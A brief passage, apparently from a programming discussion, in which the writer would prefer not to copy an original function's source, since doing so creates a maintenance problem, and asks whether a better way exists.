source for the original function. But that creates a maintenance problem, and I would rather not do that unless there is no "better way."

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